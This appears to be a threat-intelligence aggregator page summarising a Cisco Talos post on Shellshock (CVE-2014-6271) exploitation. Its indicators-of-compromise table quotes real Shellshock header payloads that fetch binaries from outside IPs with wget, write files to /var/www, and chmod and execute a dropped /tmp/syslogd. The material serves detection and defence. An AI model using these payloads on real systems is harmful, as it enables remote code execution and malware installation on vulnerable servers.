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Shellshock Exploits in the Wild

Cisco Talos ()2 min read2 · 1 read
Analyze CVE-2014-6271 with Vani AIImpact, affected versions, exploitation, mitigations and detection

Vulnerabilities mentioned

All
CVEVulnerabilityCVSSEPSSSignalsPublished
CVE-2014-6271
Arbitrary Code Execution in GNU Bash (Shellshock)
—100%KEV—
KEV

Indicators of compromise

auto-extracted · verify before use · export allAll
TypeIndicatorContext
ipv4109.235.51.42within the host name HTTP header: () { :; }; /bin/ping -c 3 109.235.51.42 () { :; }; /usr/bin/env wget hxxp://173.193.139.2/host () {
ipv4173.193.139.2ping -c 3 109.235.51.42 () { :; }; /usr/bin/env wget hxxp://173.193.139.2/host () { :; }; wget 37.187.225.119/a; wget 37.187.225.119/
ipv437.187.225.119/usr/bin/env wget hxxp://173.193.139.2/host () { :; }; wget 37.187.225.119/a; wget 37.187.225.119/action.php > /var/www/ () { :;}; wge
ipv469.163.37.115ction.php > /var/www/ () { :;}; wget -O /tmp/syslogd hxxp://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd; The last examp
urlhttp://173.193.139.2/host; /bin/ping -c 3 109.235.51.42 () { :; }; /usr/bin/env wget hxxp://173.193.139.2/host () { :; }; wget 37.187.225.119/a; wget 37.187.225.119/actio
urlhttp://69.163.37.115/nginx5.119/action.php > /var/www/ () { :;}; wget -O /tmp/syslogd hxxp://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd; The last example att

From the original article

2 min read at blog.talosintelligence.com

The recently discovered Bash vulnerability ( CVE-2014-6271 ) potentially allows attackers to execute code on vulnerable systems. We have already blogged about the issue and provided more technical detail in a further blog . The rapid release of IPS signatures for our platforms allowed us to follow very quickly, the attempts at exploitation of the vulnerability in the wild.

Cisco Talos

blog.talosintelligence.com

Read the full article at Cisco Talos

A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.